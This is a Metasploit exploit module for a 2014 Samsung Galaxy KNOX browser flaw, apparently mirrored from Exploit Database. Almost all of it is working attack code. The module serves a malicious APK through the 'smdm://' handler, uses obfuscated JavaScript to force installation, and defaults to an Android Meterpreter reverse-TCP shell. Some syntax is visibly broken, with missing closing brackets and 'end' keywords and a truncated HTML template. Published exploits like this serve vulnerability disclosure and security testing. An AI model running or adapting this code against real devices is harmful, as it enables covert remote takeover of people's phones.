Samsung Galaxy KNOX Android Browser – Remote Code Execution (Metasploit)

Exploit Database
112 阅读

作者： Metasploit

日期： 2014-11-18
类别：
- remote
平台：
- android
来源：https://www.exploit-db.com/exploits/35282/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

require 'digest/md5'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::BrowserExploitServer

# Hash that maps payload ID -> (0|1) if an HTTP request has

# been made to download a payload of that ID

attr_reader :served_payloads

def initialize(info = {})

super(update_info(info,

'Name'=> 'Samsung Galaxy KNOX Android Browser RCE',

'Description' => %q{

A vulnerability exists in the KNOX security component of the Samsung Galaxy

firmware that allows a remote webpage to install an APK with arbitrary

permissions by abusing the 'smdm://' protocol handler registered by the KNOX

component.

The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,

and Ace 4.

'License' => MSF_LICENSE,

'Author'=> [

'Andre Moulu', # discovery and advisory

'joev' # msf module

'References'=> [

['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'],

['OSVDB', '114590']

'Platform'=> 'android',

'Arch'=> ARCH_DALVIK,

'DefaultOptions'=> { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },

'Targets' => [ [ 'Automatic', {} ] ],

'DisclosureDate'=> 'Nov 12 2014',

'DefaultTarget' => 0,

'BrowserRequirements' => {

:source => 'script',

:os_name=> OperatingSystems::Match::ANDROID

}

))

register_options([

OptString.new('APK_VERSION', [

false, "The update version to advertise to the client", "1337"

])

], self.class)

deregister_options('JsObfuscate')

end

def exploit

@served_payloads = Hash.new(0)

super

end

def apk_bytes

payload.encoded

end

def on_request_uri(cli, req)

if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/

if req.method.upcase == 'HEAD'

print_status "Serving metadata..."

send_response(cli, '', magic_headers)

else

print_status "Serving payload '#{$1}'..."

@served_payloads[$1] = 1

send_response(cli, apk_bytes, magic_headers)

end

elsif req.uri =~ /_poll/

vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"

send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')

elsif req.uri =~ /launch$/

send_response_html(cli, launch_html)

else

super

end

# The browser appears to be vulnerable, serve the exploit

def on_request_exploit(cli, req, browser)

print_status "Serving exploit..."

send_response_html(cli, generate_html)

end

def magic_headers

{ 'Content-Length' => apk_bytes.length,

'ETag' => Digest::MD5.hexdigest(apk_bytes),

'x-amz-meta-apk-version' => datastore['APK_VERSION'] }

end

def generate_html

%Q|

<!doctype html>

#{exploit_js}

</script></body></html>

end

def exploit_js

payload_id = rand_word

js_obfuscate %Q|

function poll() {

var xhr = new XMLHttpRequest();

xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);

xhr.onreadystatechange = function(){

if (xhr.readyState == 4) {

if (xhr.responseText == '1') {

setTimeout(killEnrollment, 100);

} else {

setTimeout(poll, 1000);

setTimeout(enroll, 0);

setTimeout(enroll, 500);

}

};

xhr.onerror = function(){

setTimeout(poll, 1000);

setTimeout(enroll, 0);

};

xhr.send();

}

function enroll() {

var loc = window.location.href.replace(/[/.]$/g, '');

top.location = 'smdm://#{rand_word}?update_url='+

encodeURIComponent(loc)+'/#{payload_id}.apk';

}

function killEnrollment() {

top.location = "intent://#{rand_word}?program="+

"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";

setTimeout(launchApp, 300);

}

function launchApp() {

top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';

}

enroll();

setTimeout(poll,600);

end

def rand_word

Rex::Text.rand_text_alphanumeric(3+rand(12))

end